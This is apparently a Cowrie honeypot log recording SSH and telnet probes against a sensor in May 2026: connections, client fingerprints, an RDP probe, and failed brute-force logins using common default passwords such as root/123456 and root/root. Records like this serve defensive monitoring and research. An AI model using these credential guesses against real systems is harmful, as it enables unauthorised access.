{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:50:28.411077Z","src_ip":"103.82.132.16","session":"877dd6e16ee4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36418,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc69ead83d65","protocol":"telnet","message":"New connection: 152.42.224.71:36418 (10.17.0.5:23) [session: cc69ead83d65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:50:29.074732Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36434,"dst_ip":"10.17.0.5","dst_port":23,"session":"8bea08bf8dd5","protocol":"telnet","message":"New connection: 152.42.224.71:36434 (10.17.0.5:23) [session: 8bea08bf8dd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:50:29.085950Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"orange","message":"login attempt [root/orange] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:50:29.215286Z","src_ip":"103.82.132.16","session":"877dd6e16ee4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:50:30.487800Z","src_ip":"103.82.132.16","session":"877dd6e16ee4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":41712,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab46fda9def9","protocol":"ssh","message":"New connection: 83.168.110.85:41712 (10.17.0.5:22) [session: ab46fda9def9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:50:30.945749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:50:30.950922Z","src_ip":"83.168.110.85","session":"ab46fda9def9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:50:31.074655Z","src_ip":"83.168.110.85","session":"ab46fda9def9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:50:31.442795Z","src_ip":"83.168.110.85","session":"ab46fda9def9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:50:32.585491Z","src_ip":"83.168.110.85","session":"ab46fda9def9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":56318,"dst_ip":"10.17.0.5","dst_port":22,"session":"de5d6190550d","protocol":"ssh","message":"New connection: 83.168.110.85:56318 (10.17.0.5:22) [session: de5d6190550d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:50:37.768053Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:50:37.774579Z","src_ip":"83.168.110.85","session":"de5d6190550d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:50:37.905293Z","src_ip":"83.168.110.85","session":"de5d6190550d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1","message":"login attempt [root/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:50:38.361586Z","src_ip":"83.168.110.85","session":"de5d6190550d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:50:39.491910Z","src_ip":"83.168.110.85","session":"de5d6190550d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":17.562103748321533,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:50:42.017051Z","src_ip":"152.42.224.71","session":"f5fea6cd5090","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33046,"dst_ip":"10.17.0.5","dst_port":23,"session":"587c457f07be","protocol":"telnet","message":"New connection: 152.42.224.71:33046 (10.17.0.5:23) [session: 587c457f07be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:50:42.642830Z"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":51986,"dst_ip":"10.17.0.5","dst_port":22,"session":"01934846c845","protocol":"ssh","message":"New connection: 83.168.110.85:51986 (10.17.0.5:22) [session: 01934846c845]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:50:45.189163Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:50:45.194837Z","src_ip":"83.168.110.85","session":"01934846c845","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:50:45.316619Z","src_ip":"83.168.110.85","session":"01934846c845","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456","message":"login attempt [root/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:50:45.683215Z","src_ip":"83.168.110.85","session":"01934846c845","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:50:47.012341Z","src_ip":"83.168.110.85","session":"01934846c845","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":51992,"dst_ip":"10.17.0.5","dst_port":22,"session":"7cfcd4c8d68b","protocol":"ssh","message":"New connection: 83.168.110.85:51992 (10.17.0.5:22) [session: 7cfcd4c8d68b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:50:52.234350Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:50:52.239034Z","src_ip":"83.168.110.85","session":"7cfcd4c8d68b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:50:52.360255Z","src_ip":"83.168.110.85","session":"7cfcd4c8d68b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:50:52.920092Z","src_ip":"83.168.110.85","session":"7cfcd4c8d68b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":24.784395933151245,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:50:53.858963Z","src_ip":"152.42.224.71","session":"cc69ead83d65","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:50:54.047877Z","src_ip":"83.168.110.85","session":"7cfcd4c8d68b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":57711,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8b1ac7176a1","protocol":"ssh","message":"New connection: 152.42.212.128:57711 (10.17.0.5:22) [session: c8b1ac7176a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:50:54.317053Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:50:54.326684Z","src_ip":"152.42.212.128","session":"c8b1ac7176a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:50:54.330416Z","src_ip":"152.42.212.128","session":"c8b1ac7176a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.210.31.232","src_port":55178,"dst_ip":"159.203.135.109","dst_port":23,"session":"87cd10ae891f","protocol":"telnet","message":"New connection: 205.210.31.232:55178 (159.203.135.109:23) [session: 87cd10ae891f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:50:56.676086Z"}
{"eventid":"cowrie.session.closed","duration":14.410627126693726,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:50:57.053310Z","src_ip":"152.42.224.71","session":"587c457f07be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":38128,"dst_ip":"10.17.0.5","dst_port":22,"session":"24d4ff86152f","protocol":"ssh","message":"New connection: 83.168.110.85:38128 (10.17.0.5:22) [session: 24d4ff86152f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:50:59.691053Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:50:59.695917Z","src_ip":"83.168.110.85","session":"24d4ff86152f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:50:59.816809Z","src_ip":"83.168.110.85","session":"24d4ff86152f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456","message":"login attempt [root/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:51:00.178640Z","src_ip":"83.168.110.85","session":"24d4ff86152f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:51:01.518493Z","src_ip":"83.168.110.85","session":"24d4ff86152f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"184.154.194.183","src_port":45156,"dst_ip":"10.17.0.5","dst_port":22,"session":"95b0397b8ee4","protocol":"ssh","message":"New connection: 184.154.194.183:45156 (10.17.0.5:22) [session: 95b0397b8ee4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:51:03.780948Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:51:03.787031Z","src_ip":"184.154.194.183","session":"95b0397b8ee4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:51:03.819988Z","src_ip":"184.154.194.183","session":"95b0397b8ee4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"df:2c:fe:a7:22:eb:d0:e7:01:73:66:94:fc:71:c3:18","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDXclWq9FvtVajsXBZLqUAFR6bVU4sjwVj3OPPkdBUHvvYr+mvf0vIWr4Xfwh2ekv7uIuUFPPMbKdNtgOloHw8XrUabmxcgNWVbKlK/P2xMX1+UaqcRfweCYRFx6xN69er9AY37ZeMpfx8AbiLBZSKrGlmS8TbNwt9G5LlMAwPdZKCWes7sVAMDoMVfW7ITBprVzsN4wDdPV7O67fjo8FJgGupkP5/4O/k5W207aImxPbGBgoNt3bNqtg48k+7Ta0V3e5d8i6k4s8+g7t32lvxtpfzMHEsAH+R+VlI6hJ3dRoYjsUZCLzbvqjnp/9MT2CMO/faieV6IT8f74QLHinzdYHuIMVxl75l+Y4Mq08ywNY6INOemyUgMZS+qW0rQdehc/TS7jLyPj3P1lnq/mdP1a8rjVeV9ZtkjJfJI/3JI6MsYWYhHUDPdlz6+mOywve2YdwhLm1zgcZQ3x1ELSi/4MymFt6ee5J8nvZOPcmD7Y2uYlC50ChuZ5EUibfCccSCSsOFKo590ixG6g/jMXJIVM/BN12K08A2XeiBcRIPsxzQTtimhigdnLpNTeFRD2LwvxBA6uV97L14hQmiHyQn1ADwfFMmh+2jWOWpdSGFwqVGmCsFEDu5y/F2W2wJeBt4J3aQcI/Z2VrWHErvCzKA1tVG8vMyMuXiaZFB0qxZyfw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint df:2c:fe:a7:22:eb:d0:e7:01:73:66:94:fc:71:c3:18","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:51:03.934258Z","src_ip":"184.154.194.183","session":"95b0397b8ee4","protocol":"ssh"}
